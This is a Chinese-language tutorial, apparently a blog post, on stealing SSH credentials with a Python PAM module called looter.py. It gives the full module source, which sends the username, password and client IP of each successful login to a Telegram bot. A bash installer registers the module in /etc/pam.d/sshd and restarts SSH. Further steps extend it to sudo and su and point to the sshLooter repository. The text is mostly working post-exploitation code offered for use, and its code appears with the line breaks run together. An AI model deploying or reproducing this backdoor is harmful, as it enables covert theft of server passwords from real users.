窃取SSH凭证的方法说是什么

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我将为大家介绍另外一种获取ssh密码的方法。这种方法是我在ChokePoint找到的 ，他向我们展示了如何使用python创建PAM模块记录失败的尝试，现在我要做的就是更改登录密码的地方。原脚本中当登录失败时，使用的auth_log函数。

if not check_pw(user, resp.resp):        auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp))        return pamh.PAM_AUTH_ERRreturn pamh.PAM_SUCCESS

而在我的脚本中，当登录成功时使用的是我定义的函数sendMessage

if not check_pw(user, resp.resp):        return pamh.PAM_AUTH_ERR    sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp))    return pamh.PAM_SUCCESS

该函数主要用于发送用户，密码以及连接的IP，以下是完整代码：

import spwdimport cryptimport requestsdef sendMessage(msg):    apiKey = 'BOT-API-KEY'    userId = 'USERID'    url = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}'.format(apiKey,userId,msg)    r = requests.get(url)def check_pw(user, password):    """Check the password matches local unix password on file"""    hashed_pw = spwd.getspnam(user)[1]    return crypt.crypt(password, hashed_pw) == hashed_pwdef pam_sm_authenticate(pamh, flags, argv):    try:        user = pamh.get_user()    except pamh.exception as e:        return e.pam_result    if not user:        return pamh.PAM_USER_UNKNOWN    try:        resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:'))    except pamh.exception as e:        return e.pam_result    if not check_pw(user, resp.resp):        return pamh.PAM_AUTH_ERR    sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp))    return pamh.PAM_SUCCESSdef pam_sm_setcred(pamh, flags, argv):    return pamh.PAM_SUCCESSdef pam_sm_acct_mgmt(pamh, flags, argv):    return pamh.PAM_SUCCESSdef pam_sm_open_session(pamh, flags, argv):    return pamh.PAM_SUCCESSdef pam_sm_close_session(pamh, flags, argv):    return pamh.PAM_SUCCESSdef pam_sm_chauthtok(pamh, flags, argv):    return pamh.PAM_SUCCESS

我还创建了一个bash脚本用于自动化的安装这个ssh keylogger，其中安装了所有的依赖关系，并在/etc/pam.d/sshd上配置了该PAM模块

#!/bin/bash# Install dependencies to create a PAM module using python (Except for python-pip)apt-get install python-pam libpam-python python-pip# Install dependencies pythonpip install requests# Check if exist the entrie on pam, for this moduleif ! grep -Fq "looter.py" /etc/pam.d/sshd;then    sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshdficode='import spwdimport cryptimport requestsdef sendMessage(msg):    apiKey = "API-KEY"    userId = "USER-ID"    data = {"chat_id":userId,"text":msg}    url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey)    r = requests.post(url,json=data)def check_pw(user, password):    """Check the password matches local unix password on file"""    hashed_pw = spwd.getspnam(user)[1]    return crypt.crypt(password, hashed_pw) == hashed_pwdef pam_sm_authenticate(pamh, flags, argv):    try:        user = pamh.get_user()    except pamh.exception as e:        return e.pam_result    if not user:        return pamh.PAM_USER_UNKNOWN    try:        resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:"))    except pamh.exception as e:        return e.pam_result    if not check_pw(user, resp.resp):        return pamh.PAM_AUTH_ERR    sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp))    return pamh.PAM_SUCCESSdef pam_sm_setcred(pamh, flags, argv):    return pamh.PAM_SUCCESSdef pam_sm_acct_mgmt(pamh, flags, argv):    return pamh.PAM_SUCCESSdef pam_sm_open_session(pamh, flags, argv):    return pamh.PAM_SUCCESSdef pam_sm_close_session(pamh, flags, argv):    return pamh.PAM_SUCCESSdef pam_sm_chauthtok(pamh, flags, argv):    return pamh.PAM_SUCCESS'mkdir -p /lib/security/echo "$code" > /lib/security/looter.py/etc/init.d/ssh restart

现在，只要有人成功登录了服务器，你就会收到以下的登录信息。

它也适用于sudo和su，只需添加以下代码

auth requisite pam_python.so looter.py

到下面两个文件中

/etc/pam.d/sudo/etc/pam.d/su

或者你也可以直接git clone该项目并按照README.md上的说明进行操作

git clone https://github.com/mthbernardes/sshLooter.git

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